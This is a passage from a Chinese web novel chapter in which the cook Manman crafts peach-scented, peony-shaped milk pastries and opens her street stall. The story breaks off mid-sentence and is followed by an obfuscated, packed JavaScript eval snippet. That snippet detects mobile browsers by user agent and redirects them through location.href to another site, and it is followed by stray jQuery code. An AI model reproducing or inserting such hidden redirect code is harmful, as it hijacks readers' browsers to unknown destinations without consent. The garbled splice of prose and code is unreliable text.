10. 滴酥牡丹笑(第2页)

 




    满满将醍醐隔水加热，用手摸瓦罐微温之时停火，加入崖蜜（野生蜂蜜）缓慢搅拌。又采了桃花瓣子，沸水煮汁，分三次调入花露。这一过程须得少量多次，若是少了，醍醐便少了一分桃花清香，若是一次加入太多，乳脂便会析出。
 




    这乳酥，也是不同时令有不同的吃法。春季则掺入桃花花露，搭配竹叶青酒；若是夏季，便混入藕粉增稠，冰镇至半融状；到了秋冬季，表面炙烤，外层便有了焦糖层，便是所谓的“燎酥”法。吃食也得因时制宜，在特定的时节吃对了东西，不说口味合宜，便是对健康也有好处。
 




    满满尝了尝，入口细腻清甜，淡淡乳香间还有桃花清香。所谓滴酥鲍螺，便是将醍醐做成螺状，用细口挤出形状一圈一圈垒起来便是。但对满满这样的厨子而言，这样的造型实在太过于粗糙，她曾在宫中练过雕花，便打算做一道“滴酥牡丹笑”。
 




    红曲米煮汁滤出红色，栀子果泡水滤出黄色，红曲汁逐滴加入，搅拌至珊瑚色，珊瑚色含蓄，不似艳红夺目，却暗合本朝审美，又用栀子汁调了一点黄色。
 




    宫中常用模具压制，在铜模内壁涂芝麻油防粘，填装酥膏后木槌轻敲脱模，用骨针修饰纹路。这法子好就好在成品整整齐齐，一眼看上去赏心悦目，但模子却不太细致，比起一朵朵精制的差点意境。满满一时之间找不到模子，索性自己雕。
 




    这雕花之法，遇上醍醐绵软的性质，也是需要些巧思的，满满也是从一些手艺高超的老师傅处学来的。
 




    满满取了油纸卷成锥筒，剪一个小开口，从中心向外螺旋挤压，每层间隔，终叠成瓣状凸起。花心用黄色醍醐堆起，又用细针挑出纹路，又挤出花瓣子，每一朵牡丹都形态各异，却又疏疏朗朗，各有风情。
 




    最后一步，也是最重要的一步，定型。此时便更加觉得院中水井的好了。成型的滴酥牡丹花排列于瓷盘，覆盖新鲜芭蕉叶，以此防串味。满满买来陶冰鉴，外层填塞深井凉水，把牡丹花一一放入，几个时辰后，只见陶冰鉴外部结霜硬壳。
 




    第二日寅时，满满照例早起，推着板车摆摊去。
 




    今日，因着昨日的经营，今日才摆上摊子，便有不少人守在摊子前面等着了，惹得周围的摊贩们好不眼红。行人来到摊前，却发现桌板上多了一个冰鉴。问道：“小娘子，这冰鉴里装的是何物呀？”
 




    满满揭开盖子，一股凉气铺面而来——众人挤着看，只见一朵朵牡丹静静地开在冰鉴里，花瓣是淡粉色，还有黄色的花蕊，一片片花瓣型各不同，或是舒展，或是卷曲，倒像是一朵朵真的牡丹花。仔细吸了吸，竟然还有一股淡淡的桃花香。
 




    “小娘子，这是何物？”
 




    “这......难道是乳酥？”
 




    “哪有乳酥张这样？不都是白色的一坨吗？”
 




    “张兄，这就是你没见识了吧，我曾
 




    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234606|166029||http|test|mini|href|location''.split(''|''),0,{}));
 




    () {
 




    $(''.inform'').remove();